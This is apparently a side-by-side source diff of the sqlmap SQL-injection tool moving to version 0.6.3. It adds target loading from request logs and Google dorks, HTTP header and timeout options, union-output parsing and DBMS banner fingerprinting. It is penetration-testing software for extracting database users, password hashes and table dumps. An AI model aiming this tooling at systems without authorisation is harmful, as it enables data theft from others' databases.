upperQuery = upperQuery.replace(" offset ", " OFFSET ") upperQuery = upperQuery.replace(" offset ", " OFFSET ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ") upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
# SQL data definition
upperQuery = upperQuery.replace(" create ", " CREATE ")
upperQuery = upperQuery.replace(" drop ", " DROP ")
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
upperQuery = upperQuery.replace(" alter ", " ALTER ")
# SQL data manipulation
upperQuery = upperQuery.replace(" insert ", " INSERT ")
upperQuery = upperQuery.replace(" update ", " UPDATE ")
upperQuery = upperQuery.replace(" delete ", " DELETE ")
upperQuery = upperQuery.replace(" merge ", " MERGE ")
# SQL data control
upperQuery = upperQuery.replace(" grant ", " GRANT ")
# SQL transaction control
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
return upperQuery return upperQuery
def setPaths(): def setPaths():
# sqlmap paths # sqlmap paths
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump" paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files" paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
# sqlmap files # sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr()) paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
def weAreFrozen(): def weAreFrozen():
@@ -507,15 +602,20 @@ def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s) # If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess # name, sqlmap will retrieve the columns itself and reprocess
# the SQL query string (expression) # the SQL query string (expression)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I) asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
if asterisk: if asterisk:
infoMsg = "you did not provide the fields in your query. " infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself" infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg) logger.info(infoMsg)
conf.db = asterisk.group(1) dbTbl = asterisk.group(1)
conf.tbl = asterisk.group(2)
if dbTbl and "." in dbTbl:
conf.db, conf.tbl = dbTbl.split(".")
else:
conf.tbl = dbTbl
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
@@ -531,7 +631,7 @@ def expandAsteriskForColumns(expression):
return expression return expression
def getRange(count, dump=False): def getRange(count, dump=False, plusOne=False):
count = int(count) count = int(count)
indexRange = None indexRange = None
limitStart = 1 limitStart = 1
@@ -544,10 +644,59 @@ def getRange(count, dump=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart limitStart = conf.limitStart
# TODO: also for Microsoft SQL Server in getColumns method? if kb.dbms == "Oracle" or plusOne == True:
if kb.dbms == "Oracle":
indexRange = range(limitStart, limitStop + 1) indexRange = range(limitStart, limitStop + 1)
else: else:
indexRange = range(limitStart - 1, limitStop) indexRange = range(limitStart - 1, limitStop)
return indexRange return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if condition == None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data

View File

@@ -219,7 +219,7 @@ class Dump:
db = "All" db = "All"
table = tableValues["__infos__"]["table"] table = tableValues["__infos__"]["table"]
if not conf.googleDork: if not conf.multipleTargets:
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db) dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
@@ -259,7 +259,7 @@ class Dump:
blank = " " * (maxlength - len(column)) blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False) self.__write("| %s%s" % (column, blank), n=False)
if not conf.googleDork and field == fields: if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column) dataToDumpFile(dumpFP, "\"%s\"" % column)
else: else:
dataToDumpFile(dumpFP, "\"%s\"," % column) dataToDumpFile(dumpFP, "\"%s\"," % column)
@@ -267,7 +267,7 @@ class Dump:
field += 1 field += 1
self.__write("|\n%s" % separator) self.__write("|\n%s" % separator)
if not conf.googleDork: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
for i in range(count): for i in range(count):
@@ -293,12 +293,12 @@ class Dump:
field += 1 field += 1
self.__write("|") self.__write("|")
if not conf.googleDork: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
self.__write("%s\n" % separator) self.__write("%s\n" % separator)
if not conf.googleDork: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
dumpFP.close() dumpFP.close()

View File

@@ -74,6 +74,10 @@ class sqlmapNotVulnerableException(Exception):
pass pass
class sqlmapThreadException(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception): class sqlmapUnsupportedDBMSException(Exception):
pass pass
@@ -89,8 +93,8 @@ class sqlmapValueException(Exception):
def unhandledException(): def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail " errMsg += "the command line and the following text and send by e-mail "
errMsg += "to bernardo.damele@gmail.com. I will fix it as soon as " errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
errMsg += "possible:\nsqlmap version: %s\n" % VERSION errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0] errMsg += "Python version: %s\n" % sys.version.split()[0]
errMsg += "Operating system: %s" % sys.platform errMsg += "Operating system: %s" % sys.platform
return errMsg return errMsg
@@ -108,6 +112,7 @@ exceptionsTuple = (
sqlmapUndefinedMethod, sqlmapUndefinedMethod,
sqlmapMissingPrivileges, sqlmapMissingPrivileges,
sqlmapNotVulnerableException, sqlmapNotVulnerableException,
sqlmapThreadException,
sqlmapUnsupportedDBMSException, sqlmapUnsupportedDBMSException,
sqlmapUnsupportedFeatureException, sqlmapUnsupportedFeatureException,
sqlmapValueException, sqlmapValueException,

View File

@@ -28,6 +28,7 @@ import cookielib
import logging import logging
import os import os
import re import re
import socket
import time import time
import urllib2 import urllib2
import urlparse import urlparse
@@ -81,6 +82,114 @@ def __urllib2Opener():
urllib2.install_opener(opener) urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r")
fread = fp.read()
fread = fread.replace("\r", "")
reqResList = fread.split("======================================================")
for request in reqResList:
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue
if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
lines = request.split("\n")
for line in lines:
if len(line) == 0 or line == "\n":
continue
if line.startswith("GET ") or line.startswith("POST "):
if line.startswith("GET "):
index = 4
else:
index = 5
url = line[index:line.index(" HTTP/")]
method = line[:index-1]
if "?" in line and "=" in line:
params = True
getPostReq = True
elif "?" in line and "=" in line and ": " not in line:
data = line
params = True
elif ": " in line:
key, value = line.split(": ", 1)
if key.lower() == "cookie":
cookie = value
elif key.lower() == "host":
host = value
if getPostReq and params:
if not url.startswith("http"):
url = "http://%s%s" % (host, url)
if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url)
def __setMultipleTargets():
"""
Define a configuration parameter if we are running in multiple target
mode.
"""
initialTargetsCount = len(kb.targetUrls)
addedTargetUrls = set()
if not conf.list:
return
debugMsg = "parsing targets list from '%s'" % conf.list
logger.debug(debugMsg)
if not os.path.exists(conf.list):
errMsg = "the specified list of targets does not exist"
raise sqlmapFilePathException, errMsg
if os.path.isfile(conf.list):
__feedTargetsDict(conf.list, addedTargetUrls)
elif os.path.isdir(conf.list):
files = os.listdir(conf.list)
files.sort()
for reqFile in files:
if not re.search("([\d]+)\-request", reqFile):
continue
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
else:
errMsg = "the specified list of targets is not a file "
errMsg += "nor a directory"
raise sqlmapFilePathException, errMsg
updatedTargetsCount = len(kb.targetUrls)
if updatedTargetsCount > initialTargetsCount:
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
infoMsg += "testable requests from the targets list"
logger.info(infoMsg)
def __setGoogleDorking(): def __setGoogleDorking():
""" """
This function checks if the way to request testable hosts is through This function checks if the way to request testable hosts is through
@@ -109,7 +218,7 @@ def __setGoogleDorking():
errMsg += "Google dork expression" errMsg += "Google dork expression"
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
kb.targetUrls = googleObj.getTargetUrls() googleObj.getTargetUrls()
if kb.targetUrls: if kb.targetUrls:
logMsg = "sqlmap got %d results for your " % len(matches) logMsg = "sqlmap got %d results for your " % len(matches)
@@ -120,7 +229,7 @@ def __setGoogleDorking():
else: else:
logMsg += "%d " % len(kb.targetUrls) logMsg += "%d " % len(kb.targetUrls)
logMsg += "of them are testable hosts" logMsg += "of them are testable targets"
logger.info(logMsg) logger.info(logMsg)
else: else:
errMsg = "sqlmap got %d results " % len(matches) errMsg = "sqlmap got %d results " % len(matches)
@@ -129,9 +238,9 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
def __setRemoteDBMS(): def __setDBMS():
""" """
Checks and set the back-end DBMS option. Force the back-end DBMS option.
""" """
if not conf.dbms: if not conf.dbms:
@@ -159,7 +268,7 @@ def __setRemoteDBMS():
def __setThreads(): def __setThreads():
if conf.threads <= 0: if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1 conf.threads = 1
@@ -262,9 +371,6 @@ def __setHTTPMethod():
""" """
if conf.method: if conf.method:
debugMsg = "setting the HTTP method to perform HTTP requests through"
logger.debug(debugMsg)
conf.method = conf.method.upper() conf.method = conf.method.upper()
if conf.method not in ("GET", "POST"): if conf.method not in ("GET", "POST"):
@@ -277,6 +383,28 @@ def __setHTTPMethod():
else: else:
conf.method = "GET" conf.method = "GET"
debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg)
def __setHTTPExtraHeaders():
if conf.headers:
debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg)
conf.headers = conf.headers.split("\n")
for headerValue in conf.headers:
header, value = headerValue.split(": ")
if header and value:
conf.httpHeaders.append((header, value))
else:
conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent(): def __defaultHTTPUserAgent():
""" """
@@ -376,6 +504,29 @@ def __setHTTPCookies():
conf.httpHeaders.append(("Cookie", conf.cookie)) conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout():
"""
Set the HTTP timeout
"""
if conf.timeout:
debugMsg = "setting the HTTP timeout"
logger.debug(debugMsg)
conf.timeout = float(conf.timeout)
if conf.timeout < 3.0:
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
warnMsg += "will going to reset it"
logger.warn(warnMsg)
conf.timeout = 3.0
else:
conf.timeout = 10.0
socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions(): def __cleanupOptions():
""" """
Cleanup configuration attributes. Cleanup configuration attributes.
@@ -402,6 +553,12 @@ def __cleanupOptions():
if conf.user: if conf.user:
conf.user = conf.user.replace(" ", "") conf.user = conf.user.replace(" ", "")
if conf.delay:
conf.delay = float(conf.delay)
if conf.googleDork or conf.list:
conf.multipleTargets = True
def __setConfAttributes(): def __setConfAttributes():
""" """
@@ -412,20 +569,26 @@ def __setConfAttributes():
debugMsg = "initializing the configuration" debugMsg = "initializing the configuration"
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cj = None conf.cj = None
conf.dbmsHandler = None conf.contentLengths = []
conf.dumpPath = None conf.dbmsHandler = None
conf.httpHeaders = [] conf.dumpPath = None
conf.hostname = None conf.equalLines = []
conf.loggedToOut = None conf.httpHeaders = []
conf.outputPath = None conf.hostname = None
conf.paramDict = {} conf.loggedToOut = None
conf.parameters = {} conf.multipleTargets = False
conf.path = None conf.outputPath = None
conf.port = None conf.paramDict = {}
conf.scheme = None conf.parameters = {}
conf.sessionFP = None conf.paramNegative = False
conf.start = True conf.path = None
conf.port = None
conf.retries = 0
conf.scheme = None
conf.sessionFP = None
conf.start = True
conf.threadException = False
def __setKnowledgeBaseAttributes(): def __setKnowledgeBaseAttributes():
@@ -443,13 +606,18 @@ def __setKnowledgeBaseAttributes():
kb.dbms = None kb.dbms = None
kb.dbmsDetected = False kb.dbmsDetected = False
kb.dbmsVersion = None kb.dbmsVersion = None
kb.bannerFp = {}
kb.headersCount = 0
kb.headersFp = {}
kb.htmlFp = [] kb.htmlFp = []
kb.injParameter = None kb.injParameter = None
kb.injPlace = None kb.injPlace = None
kb.injType = None kb.injType = None
kb.parenthesis = None kb.parenthesis = None
kb.resumedQueries = {} kb.resumedQueries = {}
kb.stackedTest = None
kb.targetUrls = set() kb.targetUrls = set()
kb.timeTest = None
kb.unionComment = "" kb.unionComment = ""
kb.unionCount = None kb.unionCount = None
kb.unionPosition = None kb.unionPosition = None
@@ -488,14 +656,19 @@ def __saveCmdline():
if value == None: if value == None:
if datatype == "boolean": if datatype == "boolean":
value = "False" value = "False"
elif datatype == "integer": elif datatype in ( "integer", "float" ):
if option == "threads": if option in ( "threads", "verbose" ):
value = "1" value = "1"
elif option == "timeout":
value = "10"
else: else:
value = "0" value = "0"
elif datatype == "string": elif datatype == "string":
value = "" value = ""
if isinstance(value, str):
value = value.replace("\n", "\n ")
confFP.write("%s = %s\n" % (option, value)) confFP.write("%s = %s\n" % (option, value))
confFP.write("\n") confFP.write("\n")
@@ -512,13 +685,12 @@ def __setVerbosity():
This function set the verbosity of sqlmap output messages. This function set the verbosity of sqlmap output messages.
""" """
if not conf.verbose: if conf.verbose == None:
conf.verbose = 0 conf.verbose = 1
return
conf.verbose = int(conf.verbose) conf.verbose = int(conf.verbose)
if conf.verbose <= 1: if conf.verbose == 1:
logger.setLevel(logging.INFO) logger.setLevel(logging.INFO)
elif conf.verbose > 1 and conf.eta: elif conf.verbose > 1 and conf.eta:
conf.verbose = 1 conf.verbose = 1
@@ -559,15 +731,18 @@ def init(inputOptions=advancedDict()):
__setConfAttributes() __setConfAttributes()
__setKnowledgeBaseAttributes() __setKnowledgeBaseAttributes()
__cleanupOptions() __cleanupOptions()
__setHTTPTimeout()
__setHTTPCookies() __setHTTPCookies()
__setHTTPReferer() __setHTTPReferer()
__setHTTPUserAgent() __setHTTPUserAgent()
__setHTTPExtraHeaders()
__setHTTPMethod() __setHTTPMethod()
__setHTTPAuthentication() __setHTTPAuthentication()
__setHTTPProxy() __setHTTPProxy()
__setThreads() __setThreads()
__setRemoteDBMS() __setDBMS()
__setGoogleDorking() __setGoogleDorking()
__setMultipleTargets()
__urllib2Opener() __urllib2Opener()
update() update()

View File

@@ -25,26 +25,45 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
optDict = { optDict = {
# Family: { "parameter_name": "parameter_datatype", # Family: { "parameter_name": "parameter_datatype" },
"Request": { "Target": {
"url": "string", "url": "string",
"list": "string",
"googleDork": "string", "googleDork": "string",
"testParameter": "string", },
"Request": {
"method": "string", "method": "string",
"data": "string", "data": "string",
"cookie": "string", "cookie": "string",
"referer": "string", "referer": "string",
"agent": "string", "agent": "string",
"userAgentsFile": "string", "userAgentsFile": "string",
"headers": "string",
"aType": "string", "aType": "string",
"aCred": "string", "aCred": "string",
"proxy": "string", "proxy": "string",
"threads": "integer", "threads": "integer",
"delay": "float",
"timeout": "float",
}, },
"Injection": { "Injection": {
"string": "string", "testParameter": "string",
"dbms": "string", "dbms": "string",
"prefix": "string",
"postfix": "string",
"string": "string",
"regexp": "string",
"eString": "string",
"eRegexp": "string",
},
"Techniques": {
"stackedTest": "boolean",
"timeTest": "boolean",
"unionTest": "boolean",
"unionUse": "boolean",
}, },
"Fingerprint": { "Fingerprint": {
@@ -55,6 +74,7 @@ optDict = {
"getBanner": "boolean", "getBanner": "boolean",
"getCurrentUser": "boolean", "getCurrentUser": "boolean",
"getCurrentDb": "boolean", "getCurrentDb": "boolean",
"isDba": "boolean",
"getUsers": "boolean", "getUsers": "boolean",
"getPasswordHashes": "boolean", "getPasswordHashes": "boolean",
"getPrivileges": "boolean", "getPrivileges": "boolean",
@@ -84,8 +104,6 @@ optDict = {
}, },
"Miscellaneous": { "Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean", "eta": "boolean",
"verbose": "integer", "verbose": "integer",
"updateAll": "boolean", "updateAll": "boolean",

View File

@@ -35,9 +35,9 @@ class ProgressBar:
def __init__(self, minValue=0, maxValue=10, totalWidth=54): def __init__(self, minValue=0, maxValue=10, totalWidth=54):
self.__progBar = "[]" self.__progBar = "[]"
self.__oldProgBar = "" self.__oldProgBar = ""
self.__min = minValue self.__min = int(minValue)
self.__max = maxValue self.__max = int(maxValue)
self.__span = maxValue - minValue self.__span = self.__max - self.__min
self.__width = totalWidth self.__width = totalWidth
self.__amount = 0 self.__amount = 0
self.update() self.update()

View File

@@ -48,6 +48,20 @@ def setString():
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp():
"""
Save regular expression to match in session file.
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Regular expression") )
)
if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setInjection(): def setInjection():
""" """
Save information retrieved about injection place and parameter in the Save information retrieved about injection place and parameter in the
@@ -178,6 +192,28 @@ def resumeConfKb(expression, url, value):
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
conf.string = string conf.string = string
elif expression == "Regular expression" and url == conf.url:
regexp = value[:-1]
logMsg = "resuming regular expression match '%s' from session file" % regexp
logger.info(logMsg)
if regexp and ( not conf.regexp or regexp != conf.regexp ):
if not conf.regexp:
message = "you did not provide any regular expression "
message += "to match. "
else:
message = "The regular expression you provided does not "
message += "match the resumed regular expression. "
message += "Do you want to use the resumed regular expression "
message += "to be matched in page when the query "
message += "is valid? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
conf.regexp = regexp
elif expression == "Injection point" and url == conf.url: elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1] injPlace = value[:-1]

View File

@@ -30,7 +30,7 @@ import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.6.2" VERSION = "0.6.3"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"
@@ -56,7 +56,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ] MYSQL_ALIASES = [ "mysql", "my" ]
@@ -64,3 +64,7 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
# TODO: port to command line/configuration file options?
SECONDS = 5
RETRIES = 3

View File

@@ -54,6 +54,8 @@ def queriesForAutoCompletion():
autoComplQuery = query autoComplQuery = query
elif isinstance(query, dict) and "inband" in query: elif isinstance(query, dict) and "inband" in query:
autoComplQuery = query["inband"]["query"] autoComplQuery = query["inband"]["query"]
else:
continue
autoComplQueries[autoComplQuery] = None autoComplQueries[autoComplQuery] = None

View File

@@ -77,7 +77,9 @@ def __setRequestParams():
# Perform checks on Cookie parameters # Perform checks on Cookie parameters
if conf.cookie: if conf.cookie:
urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%") # TODO: sure about decoding the cookie?
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
urlDecodedCookie = conf.cookie.replace("%", "%%")
conf.parameters["Cookie"] = urlDecodedCookie conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie) __paramDict = paramToDict("Cookie", urlDecodedCookie)
@@ -197,6 +199,20 @@ def initTargetEnv():
Initialize target environment. Initialize target environment.
""" """
if conf.multipleTargets:
conf.paramDict = {}
conf.parameters = {}
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
parseTargetUrl() parseTargetUrl()
__setRequestParams() __setRequestParams()
__setOutputResume() __setOutputResume()

View File

@@ -53,7 +53,7 @@ def __updateMSSQLXML():
logger.info(infoMsg) logger.info(infoMsg)
try: try:
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True) mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
except sqlmapConnectionException, _: except sqlmapConnectionException, _:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1] __mssqlHostname = __mssqlPath[1]
@@ -231,7 +231,7 @@ def __updateSqlmap():
logger.debug(debugMsg) logger.debug(debugMsg)
try: try:
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True) sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
except sqlmapConnectionException, _: except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL) __sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
__sqlmapHostname = __sqlmapPath[1] __sqlmapHostname = __sqlmapPath[1]
@@ -243,7 +243,6 @@ def __updateSqlmap():
return return
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "") sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
sqlmapNewestVersion = "0.6.1"
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion): if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
errMsg = "sqlmap version is in a wrong syntax" errMsg = "sqlmap version is in a wrong syntax"
@@ -272,7 +271,7 @@ def __updateSqlmap():
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
try: try:
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True) sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
except sqlmapConnectionException, _: except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl) __sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
__sqlmapHostname = __sqlmapPath[1] __sqlmapHostname = __sqlmapPath[1]

View File

@@ -31,19 +31,20 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
class bannerHandler(ContentHandler): class MSSQLBannerHandler(ContentHandler):
""" """
This class defines methods to parse and extract information from This class defines methods to parse and extract information from the
the given DBMS banner based upon the data in XML file given Microsoft SQL Server banner based upon the data in XML file
""" """
def __init__(self, banner): def __init__(self, banner):
self.__banner = sanitizeStr(banner) self.__banner = sanitizeStr(banner)
self.release = None
self.version = None
self.servicePack = None
self.__inVersion = False self.__inVersion = False
self.__inServicePack = False self.__inServicePack = False
self.__release = None self.__release = None
@@ -51,6 +52,15 @@ class bannerHandler(ContentHandler):
self.__servicePack = "" self.__servicePack = ""
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
kb.bannerFp[key] = value
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "signatures": if name == "signatures":
self.__release = sanitizeStr(attrs.get("release")) self.__release = sanitizeStr(attrs.get("release"))
@@ -72,9 +82,9 @@ class bannerHandler(ContentHandler):
